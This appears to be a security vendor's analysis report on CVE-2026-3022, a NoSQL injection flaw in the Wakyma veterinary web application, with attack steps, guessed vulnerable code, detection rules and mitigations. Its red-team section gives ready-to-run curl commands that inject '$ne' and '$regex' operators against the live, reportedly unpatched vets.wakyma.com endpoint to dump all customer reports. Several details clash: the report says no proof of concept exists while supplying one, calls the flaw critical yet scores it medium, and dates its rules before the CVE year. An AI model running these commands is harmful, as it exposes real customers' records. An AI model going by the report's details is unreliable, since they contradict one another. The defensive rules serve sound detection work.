CVE-2026-3022

Executive Summary

CVE-2026-3022 is a critical NoSQL injection vulnerability (CWE-943) discovered in the Wakyma web application, specifically within the endpoint vets.wakyma.com/hospitalization/generate-hospitalization-summary. This flaw allows an authenticated attacker to manipulate POST requests to inject malicious NoSQL commands, leading to unauthorized access to customer reports. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The attack vector is network-based, requiring authentication but no user interaction, and could result in significant data exposure.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full vector has not been assigned. However, based on the nature of the vulnerability (NoSQL injection, authenticated, network-based), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS v3.1 Score: 6.5 (Medium)

Threat Level: Medium to High, due to the potential for data exfiltration of sensitive customer reports.

Deep Dive & Mechanics

The vulnerability resides in the generate-hospitalization-summary endpoint of the Wakyma web application. This endpoint likely processes POST requests containing JSON or form data to generate hospitalization summaries. The application uses a NoSQL database (e.g., MongoDB) and fails to properly sanitize or parameterize user-supplied input before constructing database queries.

An authenticated attacker can craft a POST request with special NoSQL operators (e.g., $ne, $regex, $where) to alter the query logic. For example, by injecting {"$ne": ""} into a field that is used in a query condition, the attacker can bypass intended filters and retrieve records they are not authorized to see. This can lead to the extraction of all customer reports stored in the database.

The attack flow:

1. Authenticate to the Wakyma application.
2. Intercept the POST request to /hospitalization/generate-hospitalization-summary.
3. Modify the request body to include NoSQL injection payloads.
4. Send the modified request.
5. Observe the response containing unauthorized customer data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is assumed to be similar to the following (pseudo-code for a Node.js/MongoDB backend):

Vulnerable Code (Node.js with MongoDB):

app.post('/hospitalization/generate-hospitalization-summary', (req, res) => {
  const { reportId } = req.body;
  // Directly using user input in query
  db.collection('reports').find({ _id: reportId }).toArray((err, docs) => {
    if (err) throw err;
    res.json(docs);
  });
});

Patched Code (Hypothetical):

app.post('/hospitalization/generate-hospitalization-summary', (req, res) => {
  const { reportId } = req.body;
  // Validate and sanitize input
  if (typeof reportId !== 'string' || !ObjectId.isValid(reportId)) {
    return res.status(400).send('Invalid report ID');
  }
  // Use parameterized query
  db.collection('reports').find({ _id: new ObjectId(reportId) }).toArray((err, docs) => {
    if (err) throw err;
    res.json(docs);
  });
});

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Valid authenticated session to the Wakyma application.
• Ability to intercept and modify HTTP requests (e.g., Burp Suite, cURL).

Exploitation Steps:

1. Authenticate and obtain session cookie:

   curl -X POST https://vets.wakyma.com/login -d "username=attacker&password=password" -c cookies.txt
   

2. Craft a malicious POST request with NoSQL injection:

   curl -X POST https://vets.wakyma.com/hospitalization/generate-hospitalization-summary \
     -H "Content-Type: application/json" \
     -b cookies.txt \
     -d '{"reportId": {"$ne": ""}}'
   

3. Extract all reports: The above payload will return all reports where reportId is not equal to an empty string, effectively dumping the entire collection.

4. Refine injection to target specific data:

   curl -X POST https://vets.wakyma.com/hospitalization/generate-hospitalization-summary \
     -H "Content-Type: application/json" \
     -b cookies.txt \
     -d '{"reportId": {"$regex": ".*"}}'
   

Blue Team (Defense & Detection)

Detection:

• Monitor for POST requests to /hospitalization/generate-hospitalization-summary with unusual JSON payloads containing MongoDB operators ($ne, $regex, $where, etc.).
• Alert on requests where the Content-Type is application/json and the body contains keys with $ prefix.

Mitigation:

• Implement strict input validation and sanitization.
• Use parameterized queries or ORM/ODM libraries that prevent injection.
• Apply least privilege to database users.
• Enable logging and monitoring of all database queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to vets.wakyma.com/hospitalization/generate-hospitalization-summary with JSON bodies containing $ne, $regex, $where, or other MongoDB operators.
  • Unusually large response sizes from the endpoint, indicating bulk data exfiltration.

• Log IOCs:

  • Database query logs showing $ne or $regex operators in the query conditions.
  • Authentication logs showing repeated access to the endpoint from a single user.

• File IOCs:

  • Temporary files or scripts on the attacker's machine used to automate injection (e.g., exploit.py).

Detection Engineering

YARA Rule

rule NoSQL_Injection_Wakyma {
    meta:
        description = "Detects NoSQL injection attempts targeting Wakyma application"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-3022"
    strings:
        $json_payload = /{"reportId":\s*{"\$[a-z]+":/
        $mongo_operator = /\$ne|\$regex|\$where|\$gt|\$lt/
    condition:
        any of them
}

Sigma Rule

title: NoSQL Injection Attempt Against Wakyma Hospitalization Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable endpoint with NoSQL injection patterns
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/hospitalization/generate-hospitalization-summary'
        cs-content-type: 'application/json'
    keywords:
        - '$ne'
        - '$regex'
        - '$where'
        - '$gt'
        - '$lt'
    condition: selection and keywords
falsepositives:
    - Legitimate use of MongoDB operators in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-3022 - NoSQL Injection Attempt on Wakyma Hospitalization Endpoint";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/hospitalization/generate-hospitalization-summary";
    http_uri;
    content:"application/json";
    http_client_body;
    pcre:"/\$ne|\$regex|\$where|\$gt|\$lt/";
    sid:1000001;
    rev:1;
    reference:cve,2026-3022;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block requests containing NoSQL operators in JSON bodies.
3. Review and restrict database permissions for the application user to limit data exposure.

Long-term Fixes:

1. Apply input validation – ensure all user-supplied data is validated against a whitelist of allowed values.
2. Use parameterized queries – leverage ODM libraries like Mongoose that prevent injection by design.
3. Conduct a security audit of all endpoints for similar vulnerabilities.
4. Monitor for patches from Wakyma and apply them immediately when available.

Valters IT Signature:

Report generated by Valters IT DevSecOps Team | CVE-2026-3022 Analysis